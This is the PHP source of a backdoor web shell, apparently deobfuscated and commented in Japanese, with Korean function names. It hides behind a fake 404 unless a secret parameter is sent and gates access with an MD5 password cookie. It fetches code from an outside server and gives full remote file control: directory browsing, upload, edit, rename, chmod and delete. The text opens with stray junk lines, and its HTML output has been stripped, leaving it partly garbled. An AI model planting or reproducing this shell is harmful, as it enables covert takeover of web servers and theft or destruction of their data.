tasslihorec
sfaxoistadet
bintestcss
'.$パスワードハッシュ.'<-}');
}
/**
* 認証状態の初期化
*/
$認証状態 = false;
/**
* クッキーによる認証チェック
* クッキーp8が設定されており、そのMD5ハッシュが一致する場合、認証を許可
*/
if (isset($_COOKIE['p8'])) {
if(md5($_COOKIE['p8']) == $パスワードハッシュ) {
$認証状態 = true;
}
} else {
/**
* POSTリクエストによる認証チェック
* POSTパラメータp8が設定されており、そのMD5ハッシュが一致する場合、
* クッキーを設定して認証を許可
*/
if (isset($_POST['p8'])) {
if(md5($_POST['p8']) == $パスワードハッシュ) {
setcookie("p8", $_POST['p8']);
$認証状態 = true;
}
}
}
/**
* ログアウト処理
* logoutパラメータが設定されている場合、クッキーを削除して認証状態を解除
*/
if (isset($_POST['logout']) && $_POST['logout'] = 1) {
setcookie("p8", "", time() - 3600);
$認証状態 = false;
}
/**
* 認証されていない場合の処理
* 520パラメータが設定されていない場合は404エラーを返し、
* 設定されている場合はパスワード入力フォームを表示
*/
if (!$認証状態) {
if(!isset($_REQUEST['520'])) {
header("HTTP/1.1 404 Not Found");
die();
}
echo '
';
die();
}
/**
* ログアウトボタンの表示
*/
echo '';
/**
* 外部サーバーからコードを取得する関数
*
* @param string $URL コードを取得するURL
* @return string 取得したコード
*/
function 코드가져오기($URL)
{
/**
* リクエストパラメータを含む完全なURLの構築
*/
$URL文字列 = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $URL, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']);
/**
* file_get_contentsを使用してコードを取得
*/
$コード = @file_get_contents($URL文字列);
/**
* file_get_contentsが失敗した場合、cURLを使用して再試行
*/
if ($コード == false) {
$CURLハンドル = curl_init();
curl_setopt($CURLハンドル, CURLOPT_URL, $URL文字列);
curl_setopt($CURLハンドル, CURLOPT_USERAGENT, 'll');
curl_setopt($CURLハンドル, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($CURLハンドル, CURLOPT_TIMEOUT, 100);
curl_setopt($CURLハンドル, CURLOPT_FRESH_CONNECT, TRUE);
curl_setopt($CURLハンドル, CURLOPT_SSL_VERIFYPEER, 0);
$コード = curl_exec($CURLハンドル);
curl_close($CURLハンドル);
}
return $コード;
}
?>
000
= 1073741824) {
$バイト数 = number_format($バイト数 / 1073741824, 2) . ' GB';
}
// 1MB以上の場合
elseif ($バイト数 >= 1048576) {
$バイト数 = number_format($バイト数 / 1048576, 2) . ' MB';
}
// 1KB以上の場合
elseif ($バイト数 >= 1024) {
$バイト数 = number_format($バイト数 / 1024, 2) . ' KB';
}
// 1バイトより大きい場合
elseif ($バイト数 > 1) {
$バイト数 = $バイト数 . ' bytes';
}
// 1バイトの場合
elseif ($バイト数 == 1) {
$バイト数 = $バイト数 . ' byte';
}
// 0バイトの場合
else {
$バイト数 = '0 bytes';
}
return $バイト数;
}
/**
* ファイルの拡張子を取得する関数
*
* @param string $ファイル ファイル名
* @return string ファイルの拡張子
*/
function 파일확장자($ファイル)
{
return substr(strrchr($ファイル, '.'), 1);
}
/**
* ファイルタイプに応じたアイコンを返す関数
* ファイルの拡張子や名前に基づいて適切なFont Awesomeアイコンを返します
*
* @param string $ファイル ファイル名
* @return string HTMLアイコンタグ
*/
function 파일아이콘($ファイル)
{
/**
* 画像ファイルの拡張子リスト
*/
$画像拡張子配列 = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
/**
* 音声ファイルの拡張子リスト
*/
$音声拡張子配列 = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
/**
* ファイルの拡張子を小文字で取得
*/
$拡張子 = strtolower(파일확장자($ファイル));
/**
* 特殊ファイル名の処理
*/
if ($ファイル == "error_log") {
return ' ';
} elseif ($ファイル == ".htaccess") {
return ' ';
}
/**
* 拡張子に基づくアイコンの選択
*/
if ($拡張子 == "html" || $拡張子 == "htm") {
return ' ';
} elseif ($拡張子 == "php" || $拡張子 == "phtml") {
return ' ';
} elseif (in_array($拡張子, $画像拡張子配列)) {
return ' ';
} elseif ($拡張子 == "css") {
return ' ';
} elseif ($拡張子 == "txt") {
return ' ';
} elseif (in_array($拡張子, $音声拡張子配列)) {
return ' ';
} elseif ($拡張子 == "py") {
return ' ';
} elseif ($拡張子 == "js") {
return ' ';
} else {
return ' ';
}
}
/**
* パスをエンコードする関数
* パス内の特殊文字をベンガル文字に置き換えてエンコードします
*
* @param string $パス エンコードするパス
* @return string エンコードされたパス
*/
function 경로인코딩($パス)
{
/**
* 置換前の文字配列(スラッシュ、バックスラッシュ、ドット、コロン)
*/
$置換前配列 = array("/", "\\", ".", ":");
/**
* 置換後の文字配列(ベンガル文字)
*/
$置換後配列 = array("ক", "খ", "গ", "ঘ");
return str_replace($置換前配列, $置換後配列, $パス);
}
/**
* パスをデコードする関数
* エンコードされたパスを元の形式に戻します
*
* @param string $パス デコードするパス
* @return string デコードされたパス
*/
function 경로디코딩($パス)
{
/**
* 置換前の文字配列(ベンガル文字)
*/
$置換前配列 = array("/", "\\", ".", ":");
/**
* 置換後の文字配列(スラッシュ、バックスラッシュ、ドット、コロン)
*/
$置換後配列 = array("ক", "খ", "গ", "ঘ");
return str_replace($置換後配列, $置換前配列, $パス);
}
/**
* ルートパスの初期化
* スクリプトのディレクトリをルートパスとして設定
*/
$ルートパス = __DIR__;
/**
* スクリプトファイルのパスを取得
*/
$パス = $_SERVER['SCRIPT_FILENAME'];
/**
* Windows環境の場合、バックスラッシュをスラッシュに変換
*/
if(strpos($_SERVER['SCRIPT_FILENAME'], ":"))
{
$パス = str_replace('\\', '/', $パス);
}
/**
* ルートディレクトリの判定
* PHP_SELFとSCRIPT_FILENAMEが一致する場合、ルートパスを"/"に設定
*/
if(str_replace('//','/',$_SERVER['PHP_SELF']) == str_replace('\\\\','/',$パス))
{
$ルートパス = ('/');
} else {
/**
* ルートパスの計算
* SCRIPT_FILENAMEからPHP_SELFを除いた部分をルートパスとして設定
*/
$ルートパス = (str_replace(str_replace('//','/',$_SERVER['PHP_SELF']), '', str_replace('\\\\','/',$パス) ));
}
/**
* パスパラメータの処理
* GETパラメータpが設定されている場合、そのパスを使用
*/
if (isset($_GET['p'])) {
/**
* パラメータが空の場合はルートパスを使用
*/
if (empty($_GET['p'])) {
$現在のパス = $ルートパス;
}
/**
* デコードしたパスがディレクトリでない場合、エラーを表示
*/
elseif (!is_dir(경로디코딩($_GET['p']))) {
echo ("");
}
/**
* デコードしたパスがディレクトリの場合、そのパスを使用
*/
elseif (is_dir(경로디코딩($_GET['p']))) {
$現在のパス = 경로디코딩($_GET['p']);
}
}
/**
* クエリパラメータqが設定されている場合の処理
*/
elseif (isset($_GET['q'])) {
/**
* デコードしたパスがディレクトリでない場合、ルートにリダイレクト
*/
if (!is_dir(경로디코딩($_GET['q']))) {
echo ("");
}
/**
* デコードしたパスがディレクトリの場合、そのパスを使用
*/
elseif (is_dir(경로디코딩($_GET['q']))) {
$現在のパス = 경로디코딩($_GET['q']);
}
}
/**
* パラメータが設定されていない場合、現在のディレクトリを使用
*/
else {
$現在のパス = __DIR__;
}
/**
* 現在のパスを定数として定義
*/
define("PATH", $現在のパス);
/**
* ナビゲーションバーの表示開始
*/
echo ('
');
/**
* パスパラメータが設定されている場合、ファイル一覧を表示
*/
if (isset($_GET['p'])) {
/**
* ファイルとフォルダの取得
* ディレクトリが読み取り可能な場合、スキャンしてファイルとフォルダを分離
*/
if (is_readable(PATH)) {
/**
* ディレクトリ内の全オブジェクトを取得
*/
$取得オブジェクト = scandir(PATH);
/**
* フォルダとファイルを格納する配列
*/
$フォルダ配列 = array();
$ファイル配列 = array();
/**
* 各オブジェクトをループして、フォルダとファイルに分類
*/
foreach ($取得オブジェクト as $オブジェクト) {
/**
* 現在ディレクトリと親ディレクトリはスキップ
*/
if ($オブジェクト == '.' || $オブジェクト == '..') {
continue;
}
/**
* オブジェクトの完全パスを構築
*/
$新規オブジェクト = PATH . '/' . $オブジェクト;
/**
* ディレクトリの場合はフォルダ配列に追加
*/
if (is_dir($新規オブジェクト)) {
array_push($フォルダ配列, $オブジェクト);
}
/**
* ファイルの場合はファイル配列に追加
*/
elseif (is_file($新規オブジェクト)) {
array_push($ファイル配列, $オブジェクト);
}
}
}
/**
* ファイル一覧テーブルのヘッダーを表示
*/
echo '
| Name |
Size |
Modified |
Perms |
Actions |
';
/**
* フォルダ一覧の表示
* 各フォルダに対して、名前、サイズ、更新日時、権限、アクションを表示
*/
foreach ($フォルダ配列 as $フォルダ) {
echo "
| " . $フォルダ . " |
--- |
". date("F d Y H:i:s.", filemtime(PATH . "/" . $フォルダ)) . " |
0" . substr(decoct(fileperms(PATH . "/" . $フォルダ)), -3) . " |
|
|
";
}
/**
* ファイル一覧の表示
* 各ファイルに対して、アイコン、名前、サイズ、更新日時、権限、アクションを表示
*/
foreach ($ファイル配列 as $ファイル) {
echo "
| " . 파일아이콘($ファイル) . $ファイル . " |
" . 크기포맷팅(filesize(PATH . "/" . $ファイル)) . " |
" . date("F d Y H:i:s.", filemtime(PATH . "/" . $ファイル)) . " |
0". substr(decoct(fileperms(PATH . "/" .$ファイル)), -3) . " |
|
|
";
}
/**
* テーブルの終了タグ
*/
echo "
";
} else {
/**
* GETパラメータが空の場合、パスパラメータにリダイレクト
*/
if (empty($_GET)) {
echo ("");
}
}
/**
* 新規ディレクトリ作成フォームの表示
* newdirパラメータとqパラメータが設定されている場合、新規ディレクトリ作成フォームを表示
*/
if (isset($_GET['newdir']) && isset($_GET['q'])) {
echo '
';
/**
* 新規ディレクトリ作成処理の実行
* create_directoryパラメータがPOSTされた場合、新しいディレクトリを作成
*/
if (isset($_POST['create_directory'])) {
/**
* POSTされたディレクトリ名を取得
*/
$新規ディレクトリ名 = trim($_POST['dirname']);
/**
* ディレクトリ名の検証
*/
if (!empty($新規ディレクトリ名)) {
/**
* ディレクトリ名に不正な文字が含まれていないかチェック
*/
if (preg_match('/[\/\\\\:*?"<>|]/', $新規ディレクトリ名)) {
echo ("");
} else {
/**
* 新規ディレクトリの完全パス
*/
$新規ディレクトリパス = PATH . "/" . $新規ディレクトリ名;
/**
* ディレクトリが既に存在するかチェック
*/
if (file_exists($新規ディレクトリパス)) {
echo ("");
} else {
/**
* 新規ディレクトリの作成
* デフォルト権限は0755(所有者は読み書き実行、グループとその他は読み実行)
*/
if(mkdir($新規ディレクトリパス, 0755, true)) {
echo ("");
} else {
echo ("");
}
}
}
} else {
echo ("");
}
}
}
/**
* ファイルアップロードフォームの表示
* uploadパラメータが設定されている場合、アップロードフォームを表示
*/
if (isset($_GET['upload'])) {
echo '
';
}
/**
* ファイル・フォルダのリネーム機能
* rパラメータとqパラメータが設定されている場合、リネームフォームを表示
*/
if (isset($_GET['r'])) {
if (!empty($_GET['r']) && isset($_GET['q'])) {
/**
* リネームフォームの表示
*/
echo '
';
/**
* リネーム処理の実行
* renameパラメータがPOSTされた場合、ファイル・フォルダの名前を変更
*/
if (isset($_POST['rename'])) {
/**
* 現在のファイル・フォルダの完全パス
*/
$名前 = PATH . "/" . $_GET['r'];
/**
* リネームの実行
*/
if(rename($名前, PATH . "/" . $_POST['name'])) {
echo ("");
} else {
echo ("");
}
}
}
}
/**
* ファイル編集機能
* eパラメータとqパラメータが設定されている場合、ファイル編集フォームを表示
*/
if (isset($_GET['e'])) {
if (!empty($_GET['e']) && isset($_GET['q'])) {
/**
* ファイル編集フォームの表示
* ファイルの内容をテキストエリアに表示
*/
echo '
';
/**
* ファイル保存処理の実行
* editパラメータがPOSTされた場合、ファイルの内容を保存
*/
if(isset($_POST['edit'])) {
/**
* 編集対象ファイルの完全パス
*/
$ファイル名 = PATH."/".$_GET['e'];
/**
* POSTされたデータを取得
*/
$データ = $_POST['data'];
/**
* ファイルを書き込みモードで開く
*/
$ファイルハンドル = fopen($ファイル名,"w");
/**
* ファイルへの書き込み
*/
if(fwrite($ファイルハンドル,$データ)) {
echo ("");
} else {
echo ("");
}
/**
* ファイルハンドルを閉じる
*/
fclose($ファイルハンドル);
}
}
}
/**
* ファイルアップロード処理の実行
* uploadパラメータがPOSTされた場合、アップロードされたファイルを保存
*/
if (isset($_POST["upload"])) {
/**
* アップロード先のファイルパス
*/
$ターゲットファイル = PATH . "/" . $_FILES["fileToUpload"]["name"];
/**
* アップロードされたファイルを移動
*/
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $ターゲットファイル)) {
echo "".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.
";
} else {
echo "Sorry, there was an error uploading your file.
";
}
}
/**
* ファイル・フォルダの権限変更機能
* chmodパラメータとqパラメータが設定されている場合、権限変更フォームを表示
*/
if (isset($_GET['chmod']) && isset($_GET['q'])) {
if (!empty($_GET['chmod'])) {
/**
* 権限変更対象のファイル・フォルダの完全パス
*/
$権限変更対象 = PATH . "/" . $_GET['chmod'];
/**
* 現在の権限を取得(8進数形式)
*/
$現在の権限 = substr(decoct(fileperms($権限変更対象)), -3);
/**
* 権限変更フォームの表示
*/
echo '
';
/**
* 権限変更処理の実行
* change_permissionsパラメータがPOSTされた場合、ファイル・フォルダの権限を変更
*/
if (isset($_POST['change_permissions'])) {
/**
* POSTされた権限値を取得
*/
$新しい権限 = $_POST['permissions'];
/**
* 権限値の検証(3桁の8進数であることを確認)
*/
if (preg_match('/^[0-7]{3}$/', $新しい権限)) {
/**
* 権限変更対象のパス
*/
$権限変更パス = PATH . "/" . $_POST['chmod_target'];
/**
* 8進数形式に変換してchmodを実行
*/
$権限8進数値 = octdec($新しい権限);
/**
* 権限の変更を実行
*/
if(chmod($権限変更パス, $権限8進数値)) {
echo ("");
} else {
echo ("");
}
} else {
echo ("");
}
}
}
}
/**
* ファイル・フォルダの削除機能
* dパラメータとqパラメータが設定されている場合、ファイル・フォルダを削除
*/
if (isset($_GET['d']) && isset($_GET['q'])) {
/**
* 削除対象のファイル・フォルダの完全パス
*/
$名前 = PATH . "/" . $_GET['d'];
/**
* ファイルの場合の削除処理
*/
if (is_file($名前)) {
if(unlink($名前)) {
echo ("");
} else {
echo ("");
}
}
/**
* ディレクトリの場合の削除処理
*/
elseif (is_dir($名前)) {
if(rmdir($名前) == true) {
echo ("");
} else {
echo ("");
}
}
}
?>